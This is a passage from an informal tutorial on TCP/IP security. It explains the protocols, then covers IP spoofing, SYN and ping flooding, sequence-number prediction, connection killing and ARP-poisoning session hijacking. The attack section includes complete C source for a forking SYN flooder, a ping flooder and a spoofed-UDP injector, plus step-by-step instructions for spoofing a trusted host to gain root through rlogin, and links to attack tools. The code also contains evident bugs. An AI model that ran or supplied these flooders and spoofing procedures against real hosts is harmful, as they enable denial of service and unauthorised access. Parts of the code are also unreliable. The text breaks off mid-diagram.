TCP, and probably shall be for a while to come. I will below briefly describe the basic purposes for each protocol, their characteristics, and their common misconceptions. --] 1.1 PROTOCOLS - IP This is the backbone protocol of the entire TCP/IP suite. However, it cannot do much on its own. IP uses 32-bit packet headers to store address data, and is the busiest protocol included in the TCP/IP suite. One major security flaw within IP itself (this security flaw is one of the main ideas used in this paper) is the fact that the IP protocol stack does not verify the supplied "source address", and just assumes that the packets "source address" is the proper valid one. As you can see, this is a major flaw. IP packets usually contain quite a few flags, and other important bits of data. These I will explain later below. --] 1.2 PROTOCOLS - TCP TCP stands for "Transmission Control Protocol" and is the most commonly-used and most popular transfer-level protocol included in the TCP/IP protocol suite. TCP is VERY general purpose, and used for most modern network daemons distributed across the Internet. The TCP protocol first requires that a connection is established between two hosts, before any real communication can take place (see the "TCP/IP - The Three-Way Handshake" below). TCP is a very reliable transfer protocol, which is one of the reasons it remains the most popular transfer protocol in wide-use, and ensures always that all data sent arrives in the correct order, and not jumbled up. TCP is also a very fast protocol, so combined with the above information, it is easy to see that TCP is an ideal protocol in itself, but contains its own problems related to security. You will learn about many of these later. TCP/IP packets contain quite a few headers and flags, which I will attempt to explain in a little detail later, focusing on their prime purposes and attributes. --] 1.3 PROTOCOLS - UDP UDP is a connectionless protocol, and stands for "User Datagram Protocol", which unlike TCP, DOESN'T guarentee that all data sent arrives in the correct order at all. Also unlike TCP, UDP does not actually guarentee the receipt of data sent at all, and it can be downright annoying when data goes missing, and packets are not received, along the way. Although TCP IMHO outranks UDP by far, UDP does still have its advantages; UDP, although is pretty unreliable, is fast. Very much faster than TCP, infact. Faster enough to the extent that developers when writing certain programs sacrafice the slight possibility that data might not arrive sometimes to gain the advantage of speed in their Network applications. One common example of this is in games. UDP is actually quite a simple protocol, and datagrams contain no flags or sequence numbers. --] 1.4 PROTOCOLS - ICMP ICMP - ICMP, which stands for "Internet Control Message Protocol", is also a connectionless protocol. Possibly the most common use for ICMP is error-checking. For example, if a user sends a UDP datagram to a host, and the remote host is not running a Network daemon on the port the datagram was addressed to, the remote host will send out an ICMP packet, with Type code 3 set, Destination Unreachable (ICMP_UNREACH). ICMP is a "Network Protocol", which is on the same level as IP, at a lower level than transmission level protocols, such as UDP and TCP. Another very common use for ICMP packets is to see if a host is up, aka ping. --] 1.5 INTERNET PROTOCOL - PORTS Ports are basically, with technically sucked out, a user interface, used by the kernel to identify network processes at any time. Together with an IP address, a port provides a specific destination process on an IP connected host to deliver an addressed packet to. Ports are, however, strictly transport-protocol level only, in other words IP itself has nothing much to do with them. Ports are used only in Higher-level protocols (transfer protocols), namely TCP and UDP. You will often hear the phrase "Well-known ports" during discussions of ports. The port range 1-1023 are the "well-known ports", and are usually restricted so that only root (or the administrator) can bind to them. Any port 1024 ad onwards can be used by any user, as long as they are not already in use. Processes bound to ports are usually described as "Network daemons" or "daemons". They are the programs which provide specific services to the client host during a TCP or UDP connection between two hosts. --] 1.6 TCP/IP - THE THREE-WAY-HANDSHAKE Before two hosts can communicate via a TCP/IP connection, a connection of "trust" must first be established, as a means of communication. The TCP connection establishment process is divided in three parts, also known as "The three-way-handshake". I will attempt to explain this process in a little detail: ****************************************** CLIENT: SYN (ISN A) -> SERVER SERVER: SYN (ISN cool.gif, ACK (ISN A + 1) -> CLIENT CLIENT: ACK (ISN B + 1) -> SERVER ****************************************** At this point, the connection is now established, and either hosts can proceed in sending data back and forth between the newly established connection. I will give a quick explanation of what the client and server were doing. First, the CLIENT host sent a TCP/IP packet, with the SYN flag set, which tells the destination host that it wants to open a connection with it. Included in this packet is the CLIENT's ISN (Initial Sequence Number). The SERVER receives this connection request, and replies with a packet with the SYN flag set (SYNchronise flag), along with the ACK flag, to ACKnowledge the receipt of the first SYN packet. In the packet, the SERVER sets the ISN (Initial Sequence Number) accordingly ("randomly"), and sets the ACKnowledgement number as the CLIENT's ISN + 1. To complete the connection, the CLIENT host responds to the SYN|ACK packet with it's own ACK packet, to ACKnowledge the receipt of the previous packet, and sets the ACKnowledgement number as the SERVER's ISN + 1. From that point onwards, from when the connection is sent into the state "ESTABLISHED", every packet sent from either of the two party hosts must have the ACK bit set, to ACKnowledge previously sent packets. --] 1.7 TCP/IP - THE FOUR-WAY-HANDSHAKE What goes up, must come down. Eventually, a TCP/IP connection between two hosts must be closed. To do this, the two hosts alternatively use a "four-way-handshake", just as a "three-way-handshake" is used to initiate a connection. Here is the sequence of packets sent: ****************************************** CLIENT: FIN (SN) -> SERVER SERVER: ACK (SN + 1) -> CLIENT SERVER: FIN (SN) -> CLIENT CLIENT: ACK (SN + 1) -> SERVER ****************************************** The connection, given a few seconds (usually 30-120 seconds), will be brought to a complete close. As you can probably gather what is happening, I will give only a brief explanation of what is happening: The CLIENT (or SERVER, for that matter) sends a FIN packet to the SERVER (to tell it that it has FINished sending data), with the correct sequence number. The SERVER then sends a responding packet back, with the ACK bit set, to ACKnowledge the receipt of the packet, with the ACK number as the SN (Sequence Number) + 1. The SERVER then proceeds to send another packet, this time one with the correct sequence number set, and the FIN flag set. To finish off the four-way-handshake, and to close the connection, the CLIENT sends an ACK packet, with the ACK number as the SERVER's SN + 1. --] 1.8 TCP/IP - PACKET FLAGS As explained above, hosts send packets to one another with various different flags set, to do various different things, at various different times. Some examples of these flags are SYN, ACK and FIN. I attempt below to list all of the flags and flag combinations used in TCP/IP connections, and their purposes: ****************************************** * SYN - This is the first packet in a connection, indicating to the server host that it wants a connection with it. * ACK - The ACK flag is used throughout the entire connection to ACKnowledge previously received packets. Examples include ACKnowledging a SYN packet, or a packet containing important data just received. * FIN - This flag is used to indicate to the other host that they are FINished sending data, and that the connection can be consequently ended. * RST - The RST packet is sent whenever the host receives an unexpected packet, such as an ACK with out ever receiving a SYN. This resets the connection, and the two hosts can reconnect, if needed. * SYN|ACK - This combination of flags is used to ACKnowledge s received SYN packet, and to send it's SYN information to the remote host. * FIN|ACK - The FIN|ACK flag combination is used to ACKnowledge the received FIN packet, and to complete the connection closing sequence. * URG - This flag is seldom used in any legimate connection. It's actual purpose is to indicate that the contained data is URGent. * PSH - The PSH flag is also seldomly used in legimate connections too. It's purpose is to flush all queued data. ****************************************** As you can see, there are many packet flags, some used more than others. You will learn more about these later, when I explain various vulnerabilities in the TCP/IP suite. --] 1.9 TCP/IP - PACKETS In IP packets, there are various important and essential pieces of data in a packet, depending on what protocol a packet belongs to (e.g ICMP, TCP etc...). Below I attempt to explain various important things in each type of packet/datagram. * IP - There are a lot of headers in the IP section of a packet. Some of the essential ones include: source address, destination address, TOS, TTL, packet ID, protocol (i.e TCP or UDP), IP version (4 obviously), packet length, the checksum, and the IP header lengths. These need to be set in every packet/datagram/segment sent, be it TCP, UDP or ICMP. * TCP - In the TCP protocol, the important things in a packet are the essential IP packet headers, and various TCP specific headers and flags. These include: source port, destination port, header lengths, the sequence number, the ACK number, the checksum and various other flags. Here is a diagram to illustrate the basic format of a typical TCP packet: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ACK Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Offset |(reserved) | Flags | Window | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | URG Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Packet Options (Padding) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User Data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ * UDP - As well as TCP, UDP datagrams need the IP packet headers and flags set, and then the UDP specific ones set. The important ones are: source port, destination port, the checksum and header lengths. Here is what a typical UDP datagram looks like: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Length | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User Data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ As I said earlier, there are only a few things that a UDP packet holds, as UDP is a very simple connectionless protocol, thus needs to transfer less information in it's datagrams. * ICMP - Again, as in every IP packet, the IP packet headers and flags are once again needed. There is only three things that need to go in an ICMP packet: message type, code and checksum. The type specifies what type of ICMP request it is, e.g ICMP_ECHO (ping). --] 2.0 FURTHER READING I hope I have given at least a very brief overview of TCP/IP, and it's components. I suggest some further reading on the subject, to widen your knowledge on the subject. Here are some recommended links: TCP/IP References ****************** http://www.phrack.org/phrack/33/P33-08 http://www.phrack.org/phrack/34/P34-08 http://www.cisco.com/univercd/cc/td/doc/ci.../ito_doc/ip.htm http://www.cisco.com/warp/public/535/4.html http://www.garykessler.net/library/tcpip.html http://www.acm.org/crossroads/xrds1-1/tcpjmy.html TCP/IP Vulnerabilities and Weaknesses References ************************************************* http://www.phrack.org/phrack/49/P49-07 http://www.ja.net/CERT/Bellovin/TCP-IP_Sec...y_Problems.html http://staff.washington.edu/dittrich/talks/agora/ http://islab.oregonstate.edu/koc/ece478/pr...t/2000RP/LV.pdf - A white paper in PDF format. [SECTION II - ATTACKS] --[ 1.0 ATTACKS - IP SPOOFING ]-- Due to bad designing of the TCP/IP suite, it is almost trivial to spoof a packet apparently originating from a host that is NOT you. The term 'IP spoofing' can be used to describe any process in which a person fakes, or "forges" a packet to look like it came from elsewhere, often a "trusted" host. The ability to spoof IP packets, and the fact that IPv4 does NOT check the validity of the source address and source port in a packet's headers is one of the MAIN vulnerabilities in the TCP/IP protocol suite. There are various types, and various techniques attackers might use when attempting to spoof packets, or better, spoof a connection. IP spoofing can be used in two main ways: to cause DoS, or to gain access to a system as a "trusted" host. I will describe various methods and ways of doing so. --] 1.1 ATTACKS - SYN FLOODING As explained earlier, when a host wants a connection, they send an initial SYN packet to the host that they want to form a connection with. The host then replies to the apparent SOURCE ADDRESS with the SYN|ACK packet, and so on. From the moment the server host sends the SYN|ACK packet to the originating source address of the SYN packet, the connection request is placed onto the kernel's TCP/IP stack UNTIL it receives the final ACK packet from the client host. But what if, for instance, that the server host never did receive the final ACK packet from the originating source address of the connection request? And what if A LOT of connection requests were made? Wouldn't they keep getting placed onto the kernel's TCP/IP stack? Yes! This is a major flaw in TCP/IP, partially due to bad design. Obviously, the connection requests are discarded after a shortish amount of time, but it is very easily possible to saturate a hosts resources via a SYN flooding attack. I will now attempt to explain how this attack works. Host C (for Client) sends a SYN packet to host S (for Server) to request a connection, with a SPOOFED source IP address. Host S then replies to this packet, with a SYN|ACK packet, replying to the SPOOFED address. The connection request is then placed on the stack until a final ACK is received. But since the source address of the SYN packet was SPOOFED, the Host S (the server) will NEVER receive an ACK packet, because the host who it sent a SYN|ACK packet to doesn't even exist, so the connection requests stay on the stack! And in a SYN flooding attack, an attacker sends literally hundreds if not thousands of packets a minute, so with all of these thousands of unanswered connection requests sitting on the stack, Host S could be brough to it's knees as it's resources and starved and it's process table is saturated. On some platforms, the machine can be brough to almost a total lockup, and the CPU utilisation can be RAISED dramatically to 100%. This has become a very popular and effective DoS attack, as it is a pretty easy DoS attack to launch with pre-built tools, and requires minimal knowledge of the victim host. Here is a basic diagram of what would be happening during a SYN flooding attack: ****************************************** Host X: SYN (ISN A), SRC (Z) -> Host S Host S: SYN (ISN), ACK (A + 1) -> Host Z (non-existant) ...Connection request put on stack... ****************************************** Because of not getting replies to these (thus taking them off the stack), Host S soon gets pretty bogged down, as described above. Below I provide a minimal piece of C code I wrote, that performs a SYN flooding attack on a specified host, with a spoofed source address, obviously. This code is only provided as an example of how such an attack could be implemented into a program: *************************************CUT HERE********************************** /* To keep code as small as possible, I haven't included a checksum, which may * result in some packet loss. */ #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { if(argc < 3) { printf("Usage: %s \n", argv[0]); printf("Synflood was written by shaun2k2 - shaunige@yahoo.co.uk\n"); exit(-1); } int sock; char packet[4096]; /* Datagram. */ struct sockaddr_in dest; struct iphdr *ip = (struct iphdr *) packet; struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr); struct hostent *he; if((he = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve hostname!\n"); exit(-1); } if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { printf("Socket failed!\n"); printf("Must be root to make raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_port = htons(atoi(argv[2])); dest.sin_addr = *((struct in_addr *)he->h_addr); memset(packet, 0, 4096); // Zero out packet. // Fill in IP headers. ip->ihl = 5; ip->version = 4; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = htons(1337); ip->saddr = inet_addr("127.0.0.1"); ip->daddr = inet_ntoa(dest.sin_addr); ip->ttl = 255; ip->protocol = 6; ip->check = 0; ip->tos = 0; ip->frag_off = 0; // Fill in TCP headers. tcp->source = htons(1337); tcp->dest = htons(atoi(argv[2])); tcp->seq = htons(random()); tcp->ack = 0; tcp->syn = 1; tcp->window = htons(65535); tcp->check = 0; tcp->doff = 5; tcp->rst = 0; tcp->psh = 0; tcp->fin = 0; tcp->urg = 0; tcp->ack_seq = htons(0); printf("Syn flooding: %s!\n", argv[1]); /* Insert some more fork()'s in here, if you want. */ fork(); fork(); while(1) { sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); } return(0); } *************************************CUT HERE********************************** --] 1.2 ATTACKS - PING FLOODING (ICMP flooding) Over the years, along with SYN flooding, Ping flooding is arguably one of the most popular DoS attacks among script kiddies on the Internet. Ping flooding too is a very simple attack. All that is involved is sending a continuous stream of ICMP_ECHO packets (also known as "Ping Packets"). When doing this attack, the attacker is at quite a bit advantage if he/she has a faster Internet connection than the victim. I will attempt to explain below how a ping flooding attack works. Host X (the attacker) sends a continuous stream (or as many packets as possible) of ICMP_ECHO packets (ping packets) to Host S (the server host), as fast as they can. Since Host X (the attacker) continuously sends ICMP packets without waiting for a reply from a spoofed address, Host S is effectively severely bogged down with the process of responding to the spoofed ping requests. The packets are sent so fast, and so many are sent that eventually sometimes Host S is forced to devote ALL 100% CPU utilisation to the responding of the ICMP packets. The reason the attacker spoofs the source address of the packets is because if they didn't, they would become bogged down also, with receiving all of those ICMP_ECHO reply packets. It is also an anonimity measure of the attacker, so that Host S cannot log the IP address and report them to their ISP. As I said, it is indeed a VERY simple DoS technique, but yet a VERY effective one. This is one of the primary reasons it is a favourite of common script-kiddies. I will again provide some source code as an example of how ping flood attacks are often implemented into programs: *************************************CUT HERE********************************** #include #include #include #include #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int sock; char packet[5000]; char r[5000]; struct sockaddr_in dest; struct hostent *host; struct iphdr *ip = (struct iphdr *) packet; struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr); if((host = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve host!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { printf("Couldn't make socket!\n"); printf("You must be root to create a raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)host->h_addr); ip->ihl = 5; ip->id = htons(1337); ip->ttl = 255; ip->tos = 0; ip->protocol = IPPROTO_ICMP; ip->version = 4; ip->frag_off = 0; ip->saddr = htons("1.3.3.7"); ip->daddr = inet_ntoa(dest.sin_addr); ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr); ip->check = 0; icmp->checksum = 0; icmp->type = ICMP_ECHO; icmp->code = 0; printf("Ping flooding %s!\n", argv[1]); fork(); fork(); while(1) { sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); } return(0); } *************************************CUT HERE********************************** --] 1.3 ATTACKS - BLIND SPOOFING ATTACKS Now onto the good stuff. The term "blind spoofing" is usually used to describe IP spoofing that will get you access to a system as a trusted host, but more specifically, it means that ALL IP spoofing is blind (even our DoS IP spoofing techniques above, but we don't need to know what's going on in a DoS attack anyway), and it is. By this, it means that we don't know exactly what's going on, and we don't know immediately if what we've attempted has worked. We explore two kind of types of blind IP spoofing: Sequence Number Prediction Attacks, and just single packet spoofing attacks. Sequence Number Attacks allow you to brute force or take educated guesses at the SERVER's SYN|ACK packet's Sequence number, and thus form a connection, whereas ordinary packet spoofing just allows you to send a spoofed packet on it's own (maybe useful when spoofing a packet to a UDP port, or spoofing an ICMP request). --] 1.3.1 ATTACKS - BLIND SPOOFING ATTACKS - SEQUENCE NUMBER PREDICTION This is the ultimate attack in IP spoofing, to gain a connection with a host, pretending to be another host, preferably a trusted host. All that is required is that the attacker can predict the sequence number of the server host's SYN|ACK packet after sending a SYN packet, but this is not as simple task as somebody might think. First, there's the issue of actually guessing the sequence number of this packet of interest, and secondly, there's the issue of the host you are spoofing of answering to the SYN|ACK packet, and sending a RST (reset connection) packet because it was not expecting the SYN|ACK packet. The second problem is actually simpler to deal with. A classic method of preventing the spoofed host from replying to the SYN|ACK packet with a RST is by SYN flooding it (see above for details). Now onto how to solve our first problem. There are three main ways that server's generate their sequence numbers. and thus three main ways of taking an educated guess at the sequence number of the server's SYN|ACK packet. I explain them briefly below: The 64k technique ****************** Old Operating Systems use a strange, but easy to guess technique of generating it's Sequence numbers. They use this simple set of rules: * Increment the Sequence Number counter EVERY second by 128000. * Everytime a new connection is formed, increment the Sequence Number counter by 64000. If you think about it, if you came across an old Operating System which still uses this method, it would be rather easy to spoof a connection. Some Operating Systems which use this simple method include some very old versions of SunOS, and some other oldish OSes. Time incrementation technique ****************************** Some Operating Systems use a method of generating Sequence Numbers. The technique used is again very simple, and thus pretty easy to break. It works like this: "The Sequence Number counter is incremented by 'x unit_of_time'" This means that the Sequence Number counter is increased by 'x' every 'unit_of_time'. For example, of some old Linux kernels, the Sequence counter might be increased 1 every microsecond ('1 usec' in this case). Modern techniques ****************** More modern Operating Systems (VERY modern) now use random number generators to generate Sequence Numbers. This makes the Sequence Number VERY hard to guess, almost impossible sometimes, perhaps. Now, onto the theory of how an attack could be done: The 64k technique ****************** All that an attacker would need to do is verify that the server host actually uses this method. This could be done by sending a packet (NOT spoofed) to the host, and examining the Sequence number, repeating the process and seeing if added together they can be divided by 64000 (I'm no math genious, but I'm pretty sure that would work as a way of figuring out if the host uses that method). Now that we are sure it uses that method, onto how we could exploit it to get a connection, which looks like it's from "trusted" host, Host T. * DoS Host T so that it does not respond to received packets with a RST (because it wasn't expecting packets from Host S (server)). * Send a packet to Host S (server), which is NOT spoofed. * Get the Sequence Number from the received packet, and from that, calculate the following: GUESS = SEQ + 64000 * Now, you need to start a new connection. Spoof a SYN packet from Host T (trusted host). * Wait, and then send an ACK packet spoofed from Host T, with the ACK number set to GUESS + 1. In theory, you should now have a spoofed connection between Host T, and Host S, which you can now use to pretend to be Host T, and get access to everything Host T has access to. An example of when this would be useful is when you want to gain access to somebodies shell via rlogin. Just say that Host S has a .rhosts file with the contents "root HostT". Host T is trusted, and automatically let in as root. If we did the above to spoof an rlogin session, theoriotically we have cracked root on Host S. One question that comes to mind now is "but how can we reply to Host S with ACK packets if we don't know when it has sent them?". This is not so much of a problem as one might initially think. After a certain amount of time ("timeout") it will attempt to do a re-transmission of the data, and if then it doesn't receive an ACK packet from Host T, it will not send anymore data, but will still process your sent packets! Time Incrementation techniques ******************************* If the system is using this method, it makes the job of the attacker considerably harder. The same as above is done, but with a slight variation, obviously: * DoS attack Host T, so that it does not respond with RST packets. Classically, a SYN flooding attack is used. * Predict the correct Sequence Number (information below). * Send a SYN packet to Host S, spoofed from Host T, to request a connection. * Wait, and send an ACK packet, with the ACKnowledgement number as the predicted Sequence Number + 1. Theoreotically, there is now a connection between Host T, and Host S (server), that you can now use to pretend to be Host T (the trusted host), and access anything that Host T is allowed to access. However, as you may have realised, the main problem is actually guessing the correct Sequence Number. Since Host S is using this method of generating Sequence Numbers, it will be significantly harder than the previous method explained above (the 64k method). Virtually the only way you can guess the correct Sequence Number via Blind spoofing (i.e you cannot see the packets, and thus examine them) is by brute forcing. One notable thing about the server host's reaction to wrong Sequence Number guesses is the fact that on some Operating Systems when a Sequence Number larger than the real one is sent, a RST packet is sent by the server host. --] 1.3.2 ATTACKS - BLIND SPOOFING ATTACKS - SEQUENCE NUMBER PREDICTION TOOLS There are many tools out there, most of them for free, availiable to assist an attacker whilst attempting to perform a blind spoofing attack. One of the most useful ones is "SEQ-scan" which sends SYN packets to a target host, and from the received SYN|ACK packet's Sequence Numbers determines an educated guess at what the next sequence number would be. SEQ-scan can be used to determine the correct Sequence Numbers for both the old 64k Sequence Number generation technique, and the time related generation techniques. SEQ-scan is availiable here: http://www.thenewbiesarea.com/texts/anonym...ipspoofing2.htm Some other good Sequence Number prediction tools include: Mendax - http://rootshell.com/archive-j457nxiqi3gq5...endax_linux.tgz DSniff - http://www.monkey.org/%7Edugsong/dsniff/ Spoofit.h - http://www.thenewbiesarea.com/texts/anonym...ipspoofing1.htm (bottom of the page). --] 1.3.3 - ATTACKS - BLIND SPOOFING ATTACKS - PACKET SPOOFING Sometimes attackers don't actually NEED a connection with a server host, rather they just need to spoof a single packet, to do a certain thing. In this case, it is very much easier than the above spoofing technique above, Sequence Number Prediction. In this case, all an attacker needs to do is inject a packet/datagram/segment, and set a fake source address. As you can probably see, this is quite a big flaw and security vulnerability in TCP/IP, as the TCP/IP suite makes absolutely no attempt at verifying that the supplied source address is actually the real one. Below, I will explain how an attacker could use this flaw to his/her advantage. Say for example that there is a game which allows you to play against somebody over the Internet, but instead of using the TCP protocol for transfering the data to each opponent, it uses UDP for extra speed. Just say for example that the author of the game wrote a little routine that made the play quit/submit the game if they send the string "LOSE" in the UDP datagram, and this option is accessed via a little menu on the game. All an attacker has to do to make his opponent lose the game is spoof a UDP datagram to appear that it has originated from your opponent, and inject the string "LOSE" into it. Here is a basic diagram of what would be happening during one of these packet spoofing attacks: ****************************************** Host X: SRC (Host C), DATA ("LOSE") -> Host S ...Host S closes the session, and Host C loses the game... ****************************************** The datagram sent by Host X (the attacker) had a spoofed source address, pretending to be from Host C (the opponent). The game server received the datagram, and presumed it was from Host C, and consequently ended the game, leaving Host X as the winner. This does not seem like a huge security flaw, but what if this was a login server we were attacking, which the author had written to just automatically execute commands specified by the sender just by checking that the source address was right? Then the system would be at risk. Below is a minimal piece of C code I have written , just as an example of how such an attack could be implemented into a program: *************************************CUT HERE********************************** #include #include #include #include #include #include int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(0); } int sock; char packet[5000]; char msg[50] = "LOSE"; int msglen = strlen(msg); struct sockaddr_in dest; struct hostent *host; int sport = 1337; struct iphdr *ip = (struct iphdr *) packet; struct udphdr *udp = (struct udphdr *) packet + sizeof(struct iphdr); if((host = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve host!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { printf("Couldn't make socket!\n"); printf("You must be root to create a raw socket.\n"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)host->h_addr); dest.sin_port = htons(1024); ip->ihl = 5; ip->id = htons(1337); ip->ttl = 255; ip->tos = 0; ip->protocol = IPPROTO_UDP; ip->version = 4; ip->frag_off = 0; ip->saddr = htons("1.3.3.7"); ip->daddr = inet_ntoa(dest.sin_addr); ip->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr); ip->check = 0; udp->source = htons(sport); udp->dest = htons(dest.sin_port); udp->len = htons(msglen + 8); memcpy(packet + sizeof(ip) + sizeof(udp), msg, msglen); printf("Sending UDP datagram.\n"); sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); return(0); } *************************************CUT HERE********************************** --] 1.3.4 ATTACKS - BLIND SPOOFING ATTACKS - CONNECTION KILLING As you probably know by now, the RST flag is a very commonly used flag in packets, usually used to signal to the remote host that the connection should be reset. The only thing that is needed in a RST packet is the RST bit set to 1, the SEQuence number set to the CLIENT's SEQuence number + 1, and the source port. It is NOT as simple as simply sending a spoofed TCP packet with the RST flag set, and killing the connection. Although this is still a serious vulnerability in TCP/IP, to exploit it we would again as above have to brute force BOTH the source port (the port the client host is sending data from), and the correct Sequence number to send. To brute force the Sequence Number, see above. The process of brute forcing the source port is a little easier, as usually the only possibilities is the range 1024-65535. Here is a basic diagram of what would happen during a connection killing attack: ****************************************** ...Host T is communicating with Host S... Host X: RST, SEQ (A), SRC (Host T, Port 1234) -> Host S ...Host S closes the connection because it thinks the RST packet was from Host T... ****************************************** --] 1.3.5 ATTACKS - BLIND SPOOFING ATTACKS - CONNECTION KILLING TOOLS Although TCP connection killing is an interesting sub-topic in IP spoofing, there exists only a few tools for this purpose. A nice TCP connection killing program written in C is "tcpkill". You can grab the source code for tcpkill here: http://packetstormsecurity.org.pk/groups/w...sniff/tcpkill.c Note that tcpkill requires that you have libpcap installed on your UNIX machine. You can download Libpcab here: http://www.tcpdump.org/release/libpcap-0.7.2.tar.gz --] 1.5 ATTACKS - IP SPOOFING - FURTHER READING You might want to read more about IP spoofing. Here's some good links for further reading on the subject: IP spoofing ************ http://www.securityfocus.com/infocus/1674 http://www.hack.gr/linux/gazette/issue63/sharma.html http://www.cert.org/advisories/CA-1996-21.html http://www.phrack.org/phrack/48/P48-14 http://bau2.uibk.ac.at/matic/spoofing.htm --[ 1.0 ATTACKS - TCP SESSION HIJACKING ]-- TCP session hijacking is the term used to describe an attacker hijacking an already established connection, usually allowing them to execute commands as the actual connected user. It is due to slight design errors in the TCP/IP suite that this kind of attacks is possible, making it almost trivial for the attacker who has seized access to the connection to execute commands as the legimate user. There are a few various types of TCP session hijacking techniques, but a very commonly used one, and arguably the most popular of TCP hijacking techniques is the "Man-in-the-middle" attack. --] 1.1 ATTACKS - TCP SESSION HIJACKING - MAN-IN-THE-MIDDLE ATTACK The "man-in-the-middle" attack is a common method of taking over a TCP connection between two hosts, and allows the attacker who has gained access to the connection to execute commands as the client host. This is done by active passive sniffing of the network for packets travelling which are related to the target session, modifying them, and injecting them back into the Network so that the two connected hosts cannot easily tell that any modification of the packets has been done. Before an attacker can carry out a man-in-the-middle attack between two connected hosts, they must first somehow get between the communications path of Host C and Host S. The classical way of doing this is known as "ARP spoofing" or "ARP poisoning". The ARP table on a host is just a method that a networked host uses to keep track of MAC and IP address associations. Every so often, one host on the network might send out an ARP request. An ARP request asks a question, like this "Is your IP address x.x.x.x? If so, send me your MAC address.". The message is broadcast across the network, and the host with the IP address x.x.x.x replies to the ARP request, providing it's MAC address with it. ARP spoofing therefore is sending out ARP replies (nobody has necessarily asked for it, the attacker just sends one) with a spoofed source address from the IP address you want the hosts to believe you are. The host will then update it's own ARP cache table, now associating your machine's MAC address with the spoofed IP address, thus sending all traffic meant for x.x.x.x to you. In this case then, the attacker's need for ARP spoofing in his planned "man-in-the-middle" attack is the process of changing Host C's ARP cache to believe that the IP address of Host S is the attacker's IP address, and changing Host S's ARP cache to make it believe that Host C's IP address is the attacker's. All very interesting, but how do we actually do this? Here is a simple diagram of what happens during an ARP poisoning/spoofing attack: ****************************************** ...The attacker broadcasts an ARP reply, claiming that it infact owns the IP address x.x.x.x Host X: DST (Host S), SRC (Host C), DATA ("I own x.x.x.x, my MAC address is xx:xx:xx:xx") Host X: DST (Host C), SRC (Host S), DATA ("I own y.y.y.y, my MAC address is yy:yy:yy:yy.") ****************************************** What the attacker has done is, forge an ARP reply to be pretending to originate from Host C, to Host S, saying that it infact owns the IP address x.x.x.x, and that it's MAC address is xx:xx:xx:xx. Host S now believes that Host C's IP address is x.x.x.x, and it IS, but it also believes now that Host C's MAC address is xx:xx:xx:xx, but it's NOT, it's the attacker's MAC address! Now every time Host S has a packet that it intends for Host C, it searches through it's ARP cache, and determines that Host C's MAC address is xx:xx:xx:xx, but it is not, it is infact the attacker's address, but believes so because of your spoofed ARP reply! Then the attacker spoofs an ARP reply to be pretending from Host S, to Host C, telling it that it owns the IP address y.y.y.y. It sees that the ARP reply is coming from yy:yy:yy:yy, and thus associates the IP address y.y.y.y with the ATTACKER's MAC address yy:yy:yy:yy. Now that the attacker has both hosts believing that each other's MAC addresses are infact the attacker's, all he needs to do now is watch all packets travelling through his machine that are related to the connection between Host S and Host C that he is attempting to hijack, modify them accordingly, and then forward them to the host it was originally intended for so that their connection isn't interrupted. Here is a small diagram of what would be happening during a Man-In-the-Middle session hijacking attack, assuming that the ARP poisoning attack had already taken place: ****************************************** Host S: DST (Host C), DATA ("Welcome to the system. You are using the bash shell") -> Host C ...sent to Host X (attacker) because of the earlier ARP poisoning attack. Host X forwards the packet, not making any changes... Host C: DST (Host S), DATA ("ls") -> Host S ...again, Host X (attacker) receives this because it tricked Host C with the ARP poisoning attack above. Host X forwards the packet to Host S without any changes, because they are only issuing the 'ls' command... Host S: DST (Host C), DATA ("tmp codes exploits Desktop mp3s") -> 